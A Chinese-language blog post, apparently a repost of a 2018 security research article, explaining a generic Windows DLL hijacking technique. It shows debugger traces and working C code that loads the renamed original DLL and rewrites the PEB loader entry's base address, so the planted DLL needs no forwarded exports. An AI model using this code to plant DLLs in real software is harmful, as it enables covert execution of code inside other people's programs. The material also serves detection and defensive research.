一種通用DLL劫持技術研究

2021-02-14 漢客兒

通用DLL劫持技術研究
by anhkgg
2018年11月29日

寫在前面

Dll劫持相信大家都不陌生,理論就不多說了。Dll劫持的目的一般都是為了自己的dll模塊能夠在別人進程中運行,然後做些不可描述的事情。

為了讓別人的程序能夠正常運行,通常都需要在自己的dll中導出和劫持的目標dll相同的函數接口,然後在自己的接口函數中調用原始dll的函數,如此使得原始dll的功能能夠正常被使用。導出接口可以自己手工寫,也可以通過工具自動生成,比如著名的Aheadlib。這種方法的缺點就是針對不同的dll需要導出不同的接口,雖然有工具幫助,但也有限制,比如不支持x64。

除此之外,很早之前就知道一種通用dll劫持的方法,原理大致是在自己的dll的dllmian中加載被劫持dll,然後修改loadlibrary的返回值為被劫持dll加載後的模塊句柄。這種方式就是自己的dll不用導出和被劫持dll相同的函數接口,使用更加方便,也更加通用。

下面就嘗試分析一下如何實現這種通用的dll劫持方法。

原理分析

隨便寫一個測試代碼:

//mydll.dll 偽造的用於劫持mydll.dll的dll代碼//mydll.dll.1是把test.exe加載的原始dll修改為這個名字BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul_reason_for_call,                       LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH:        __debugbreak();        HMODULE hmod = LoadLibraryW("mydll.dll.1");    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    }    return TRUE;}//test.exevoid main(){    LoadLibraryW(L"mydll.dll");}

用windbg加載看看堆棧,如下所示。在test中通過LoadLibraryW加載mydll.dll,最後進入mydll!DllMain。現在需要分析系統映射dll之後是如何把基地址返回給LoadLibraryW,然後才能想辦法把這個值給修改成加載mydll.dll.1的值。

0:000> kvn # ChildEBP RetAddr  Args to Child              WARNING: Stack unwind information not available. Following frames may be wrong.00 0025eaf8 6e4112ec 6e410000 00000000 00000000 mydll+0x101d01 0025eb38 6e4113c9 6e410000 00000001 00000000 mydll+0x12ec02 0025eb4c 77d889d8 6e410000 00000001 00000000 mydll!DllMain+0x1303 0025eb6c 77d95c41 6e4113ad 6e410000 00000001 ntdll!LdrpCallInitRoutine+0x1404 0025ec60 77d9052e 00000000 74e92d11 77d77c9a ntdll!LdrpRunInitializeRoutines+0x26f (FPO: [Non-Fpo])05 0025edcc 77d9232c 0025ee2c 0025edf8 00000000 ntdll!LdrpLoadDll+0x4d1 (FPO: [Non-Fpo])06 0025ee00 75ee88ee 0037429c 0025ee40 0025ee2c ntdll!LdrLoadDll+0x92 (FPO: [Non-Fpo])07 0025ee38 761b3c12 00000000 00000000 00000001 KERNELBASE!LoadLibraryExW+0x15a (FPO: [Non-Fpo])08 0025ee4c 6848e3f5 0025ee58 003a0043 0055005c kernel32!LoadLibraryW+0x11 (FPO: [Non-Fpo])09 0025f068 6848d1de d9131536 00000000 00000000 test!start+0x2b50a 0025f09c 6848e245 013a0000 761b3c26 76b3ea5f test!start+0x21e86e0b 0025f328 013a1918 013a0000 0037187a 00000000 test!start+0x1050c 0025fb44 013a30b9 013a0000 00000000 0037187a test+0x19180d 0025fb90 761b3c45 7ffd9000 0025fbdc 77d937f5 test+0x30b90e 0025fb9c 77d937f5 7ffd9000 74e93b01 00000000 kernel32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])0f 0025fbdc 77d937c8 013a312b 7ffd9000 00000000 ntdll!__RtlUserThreadStart+0x70 (FPO: [Non-Fpo])10 0025fbf4 00000000 013a312b 7ffd9000 00000000 ntdll!_RtlUserThreadStart+0x1b (FPO: [Non-Fpo])

先去reactos翻看一下,找到如下的函數調用結構。在LdrLoadDll參數中BaseAddress就是最後返回給LoadLibraryW的值,所以繼續看BaseAddress是如何賦值的。BaseAddress繼續傳給LdrpLoadDll,在LdrpLoadDll中,首先通過LdrpMapDll映射dll模塊,返回一個LdrEntry的LDR_DATA_TABLE_ENTRY結構,保存了dll加載的基址、大小、名字等信息。接著LdrEntry會插入到peb->ldr鍊表結構中,然後調用LdrpRunInitializeRoutines,在LdrpRunInitializeRoutines中最終會調用DllMain,此處不繼續深入分析。最後LdrEntry->DllBase賦值給BaseAddress。到此流程分析清楚,下面考慮如何修改這個值。

NTSTATUSNTAPILdrLoadDll(IN PWSTR SearchPath OPTIONAL,           IN PULONG DllCharacteristics OPTIONAL,           IN PUNICODE_STRING DllName,           OUT PVOID *BaseAddress) {               Status = LdrpLoadDll(RedirectedDll,                         SearchPath,                         DllCharacteristics,                         DllName,                         BaseAddress,                         TRUE);           }NTSTATUSNTAPILdrpLoadDll(IN BOOLEAN Redirected,            IN PWSTR DllPath OPTIONAL,            IN PULONG DllCharacteristics OPTIONAL,            IN PUNICODE_STRING DllName,            OUT PVOID *BaseAddress,            IN BOOLEAN CallInit)            {                Status = LdrpMapDll(DllPath,                            DllPath,                            NameBuffer,                            DllCharacteristics,                            FALSE,                            Redirected,                            &LdrEntry);                 //插入peb->ldr鍊表                Status = LdrpRunInitializeRoutines(NULL);                if (NT_SUCCESS(Status))                {                    /* Return the base address */                    *BaseAddress = LdrEntry->DllBase;                }            }    LdrpRunInitializeRoutines-> LdrpCallInitRoutine -> DllMain

記得映像中的那種方法,是通過堆棧回溯到LdrpLoadDll中,找到LdrEntry進行修改(不確實是否準備,時間久遠了),但因為LdrEntry是局部變量,不同系統可以不一樣,兼容性差一些。但看到這個調用流程之後,其實還有另一種方式。LdrEntry->DllBase賦值給BaseAddress,那麼在賦值之前把這個LdrEntry->DllBase修改了即可,在DllMain正好是修改的時機,但是不需要使用堆棧回溯的方式。因為LdrEntry已經插入到peb->ldr中,那麼在DllMain中可以直接獲取peb->ldr遍歷鍊表找到目標dll堆棧的LdrEntry就是需要修改的LdrEntry,然後修改即可。

不過這個分析都是基於reactos來的,還是需要確認一下真是windows系統的ntdll是如何首先的。

在win7 x64系統中,ntdll的關鍵代碼如下所示。差別是LdrpLoadDll直接返回的ldrentry,而不是BaseAddress,在LdrpLoadDll內部流程基本和reactos一致。所以方案應該可行,後續驗證確實證明可行。

int __fastcall LdrLoadDll(){v11 = LdrpLoadDll(v5, v9, v10, 1, 0i64, &dataentry);  v12 = v11;  if ( v11 >= 0 )    *dllbase = dataentry->DllBase;}

嘗試實現

實現其實非常簡單,關鍵代碼如下所示。兩部分代碼,一個是加載原始dll模塊(mydll.dll.1)拿到真是的模塊句柄hMod(基地址),第二個就是遍歷peb->ldr找到mydll.dll的ldrentry,然後修改dllbase為hMod。

void* NtCurrentPeb(){    __asm {        mov eax, fs:[0x30];    }}PEB_LDR_DATA* NtGetPebLdr(void* peb){    __asm {        mov eax, peb;        mov eax, [eax + 0xc];    }}VOID SuperDllHijack(LPCWSTR dllname, HMODULE hMod){    WCHAR wszDllName[100] = { 0 };    void* peb = NtCurrentPeb();    PEB_LDR_DATA* ldr = NtGetPebLdr(peb);    for (LIST_ENTRY* entry = ldr->InLoadOrderModuleList.Blink;        entry != (LIST_ENTRY*)(&ldr->InLoadOrderModuleList);        entry = entry->Blink) {        PLDR_DATA_TABLE_ENTRY data = (PLDR_DATA_TABLE_ENTRY)entry;        memset(wszDllName, 0, 100 * 2);        memcpy(wszDllName, data->BaseDllName.Buffer, data->BaseDllName.Length);        if (!_wcsicmp(wszDllName, dllname)) {            data->DllBase = hMod;            break;        }    }}VOID DllHijack(HMODULE hMod){    TCHAR tszDllPath[MAX_PATH] = { 0 };    GetModuleFileName(hMod, tszDllPath, MAX_PATH);    PathRemoveFileSpec(tszDllPath);    PathAppend(tszDllPath, TEXT("mydll.dll.1"));    HMODULE hMod1 = LoadLibrary(tszDllPath);    SuperDllHijack(L"mydll.dll", hMod1);}BOOL APIENTRY DllMain( HMODULE hModule,                       DWORD  ul_reason_for_call,                       LPVOID lpReserved                     ){    switch (ul_reason_for_call)    {    case DLL_PROCESS_ATTACH:        DllHijack(hModule);        break;    case DLL_THREAD_ATTACH:    case DLL_THREAD_DETACH:    case DLL_PROCESS_DETACH:        break;    }    return TRUE;}

總結

經測試在win7 x84和win10 x64中即是有效的,其他系統未測試,如果有問題,請留言或自行解決。

害怕這種方案不行,還想了另一種思路,在dllmain中hook LdrpLoadDll的返回調用地址處,修改dataentry的值,因為LdrLoadDll函數接口固定,所以這種方式也應該是通用的,不過實現起來其實還比現在的麻煩些,所以只是保留了這種思路,並未去實現驗證,留給愛折騰的朋友吧。

最後,代碼上傳了github。

https://github.com/anhkgg/SuperDllHijack

相關焦點

  • 應急響應中分析64位惡意dll的小故事
    比如logon、explorer還有IE上加載的dll跟其它組件。但autotuns也不是萬能的,比如dll劫持等部分特殊的啟動方式也無法檢測到。作為取證人員,平時應該多多搜集和積累攻擊者使用的奇淫巧技。
  • 瀏覽器主頁被篡改,發現是電腦DNS被劫持
    猜測應該是DNS被劫持了,下面是打開百度默認主頁被篡改後的地址:為什麼主頁被篡改啟動頁面劫持,是一種在用戶機器上常見的網頁劫持現象。一般惡意程序會通過多種多樣的手段,用一個新網址替換掉用戶打開的網址,強制引導用戶訪問目標網站,最終達到獲利的目的。
  • Windows編程技術:4種Dll注入技術(上)
    這個系列主要是圍繞windows的黑客編程技術。這篇主要介紹Dll注入技術中用到的4種基礎注入方式,並結合代碼來實例分析,加深理解。想法雖然很好,但不知道能不能堅持下來,主要是要看我的業餘時間充盈情況和此系列受歡迎的程度來決定後續的篇幅。
  • 如何將C++對象導出到DLL,直接看DLL內部解析
    )就可以了,當然導出也很簡單,換成就可以了class_declspec(dllimport) DLLClass。當然通常我們是用宏定義來控制的 #ifdef DLL_FILE #define _declspec(dllexport) __DLL__//導出類 #else #define _declspec(dllimport) __DLL__//導入類 #endif class __DLL__ DLLClass{};這樣在工程加入頭文件
  • 研究人員開發出模擬共擠技術的通用算法
    製造聚合物產品通常採用擠出工藝,而為了獲得多層或組合材料,就會使用共擠技術,同時將同一種聚合物材料的幾層或幾種不同的聚合物通過一個複雜的機頭擠出。如果共擠工藝參數不協調,就會發生材料間變形。只有獲得幾何形狀在公差值範圍內的邊界面,才有可能保證複合型材的質量,這就需要認真選擇技術特徵。雅羅斯拉夫爾國立技術大學(YSTU)的科學家們開發了一種通用算法,用於模擬共擠技術,新算法可以給不同類型的聚合物產品的生產商提供實用的建議。該研究成果發表在《Chemical and Petroleum Engineering》雜誌上。
  • 研究開發一種通用的細胞分離算法
    研究開發一種通用的細胞分離算法 作者:小柯機器人 發布時間:2020/12/15 16:20:36 2020年12月14日,美國霍華德.休斯醫學院Marius Pachitariu課題組在《
  • 談談JS中的函數劫持
    所以,這一篇文章將會和大家一起去了解一下JS中的函數劫持是什麼,有什麼用。 基本概念 函數劫持,顧名思義,即在一個函數運行之前把它劫持下來,添加我們想要的功能。當這個函數實際運行的時候,它已經不是原本的函數了,而是帶上了被我們添加上去的功能。這也是我們常見的鉤子函數的原理之一。 乍一看上去,這很像是函數的改寫。
  • 「驅動人生」劫持事件與Mykings家族活動的關聯分析
    「驅動人生」的挖礦蠕蟲再次活躍並做出了預警(詳情可以參見《劫持「驅動人生」的挖礦蠕蟲再次活躍》一文),在分析團夥的新活動時360威脅情報中心發現了一些涉及到Mykings家族活動的現象,但未能得出確定性的結論,在此分享出來供業界參考,希望能補充更多維度的信息共同研判。
  • 俄科學家開發出一種用於複雜材料機械測試的通用技術
    俄羅斯斯科爾科沃科學技術研究所和國立研究型技術大學(NUST )「 MISiS」團隊的科學家們開發了一種用於複雜材料機械測試的通用技術,這將有助於更好地控制材料狀態。據作者介紹,他們的方法將幫助確定微米級變形集中的區域,從而提前發現裂紋產生的部位,並提供防止材料破壞的解決方案。
  • 我的dll封裝學習筆記(一)
    學習封裝dll源於對代碼保密的需要,本文從最簡單的開始,封裝自定義函數為dll並註冊使用。加載宏暫時不太感興趣,用到的時候在研究分享。第三步:在excel中註冊dll(如筆記中寫的有兩種方法)。①開發工具-加載項-自動化-找到封裝的dll,點確定完成註冊。這種方法,只要關閉excel再次打開,就失效了。需要重新註冊。
  • 【第721期】談談JS中的函數劫持
    正文從這開始~說到劫持,第一反應可能是什麼不好的東西。函數劫持並不邪惡,關鍵是看使用的人。雖然這個概念在前端領域使用較少,但是在安全領域、自定義業務等場景下還是有一定的使用價值的。所以,這一篇文章將會和大家一起去了解一下JS中的函數劫持是什麼,有什麼用。
  • 缺少.dll文件很煩躁?別急試試這幾招
    1什麼是.dll文件?    我們在日常使用電腦的過程中,經常會涉及到軟體程序的拷貝。或是出於人為,亦或是軟體自身,我們經常會遇到.dll文件缺失,而導致辛苦拷貝的軟體無法使用的尷尬。那麼.dll文件究竟是什麼?
  • 流量劫持灰色產業鏈:劫持五萬IP 月入至少三萬
    《IT時報》記者調查發現,在網際網路世界,流量劫持背後有一個龐大的灰色產業鏈,僅DNS劫持一種方式,每天被惡意劫持的流量至少有上千萬個IP。  下載小米商店卻「變臉」成UC瀏覽器  不久前,烏雲網發布的一則《疑似某基於運營商流量的APK劫持推廣系統存漏洞(每天高達百萬計的劫持數據統計)》的公告再次將「流量劫持」推到了風口浪尖。
  • 淺析動態連結庫側加載技術
    PATH環境變量中的各個目錄;例如:對於文件系統,如doc文檔打開會被應用程式office打開,而office運行的時候會加載系統的一個dll文件,如果我們將用惡意的dll來替換系統的dll文件,就是將DLL和doc文檔放在一起,運行的時候就會在當前目錄中找到DLL,從而優先系統目錄下的DLL而被執行。
  • 惡意代碼分析之調試.NET平臺dll
    接著往下分析,發現會內存加載dll並反射調用執行dll中的LOLY()方法,如下。將上面提取的dll進行本地反編譯,查看下dll文件內容,如下。場景二被調試的母體文件非.NET平臺程序,而由於缺少標準入口點,dnSpy不允許本地調試dll,此時就需要藉助loader進行調試。首先我們可以想到,ollydbg是如何調試dll文件的?其實會發現工具自身會加載一個loader進行輔助調試,調用dll裡的導出方法或者斷點停在dll入口區域。
  • 帶你認識 DLL DelayLoad
    本文轉載自【微信公眾號:MicroPest,ID:gh_696c36c5382b】題外話:dll的的載入有兩種最基本的方法:隱式加載和顯式加載。DLL DelayLoad,即延遲加載,是一項提高程序啟動速度,減少進程地址空間的重要技術,用通俗一點的話來講,就是對模塊「呼之即來,揮之即去」的能力。
  • [MiniDumpWriteDump via COM+ Services DLL]的利用測試
    編寫powershell腳本,實現自動化掃描系統目錄下所有dll的導出函數,查看是否存在其他可用的dll,介紹腳本實現的細節。代碼先開啟SeDebugPrivilege權限,再調用comsvcs.dll的導出函數MiniDumpW,測試成功。 0x04 編寫腳本實現自動化掃描dll的導出函數學習完odzhan的文章以後,我產生了一個疑問:Windows系統目錄下是否存在其他可用的dll?
  • 俄羅斯電信再次發生路由劫持事件,全球路由安全警鐘長鳴
    部署應用RPKI是保障路由安全的基礎為儘可能減少路由劫持的風險,自2000年以來,學術界和工業界提出了很多解決方案。目前為國際網際網路社群及工業界所認可的對策,是一種基於RPKI(網際網路碼號資源公鑰基礎設施)的BGP安全擴展方案。
  • APP被劫持引發訴訟案件 運營商首成流量劫持被告
    原標題:APP被劫持引發訴訟案件 運營商首成流量劫持被告   羊城晚報記者 程行歡   流量劫持這個網際網路世界的老毒瘤,最近又引發了社會關注。財聯社與中國聯通交涉後,上海聯通的客服在電話中承認了此事,並稱已經做出技術處理,不會再出現彈窗。然而據藍鯨傳媒集團透露,在中國聯通客服承諾解決該問題之後,依然出現了用戶的流量被劫持事件。藍鯨傳媒集團認為,中國聯通未從根本上解決問題,因此,藍鯨傳媒集團母公司上海正見文化傳播有限公司日前正式向北京市西城區人民法院提起訴訟,要求中國聯通在原告指定的網站上賠禮道歉,道歉時間30天。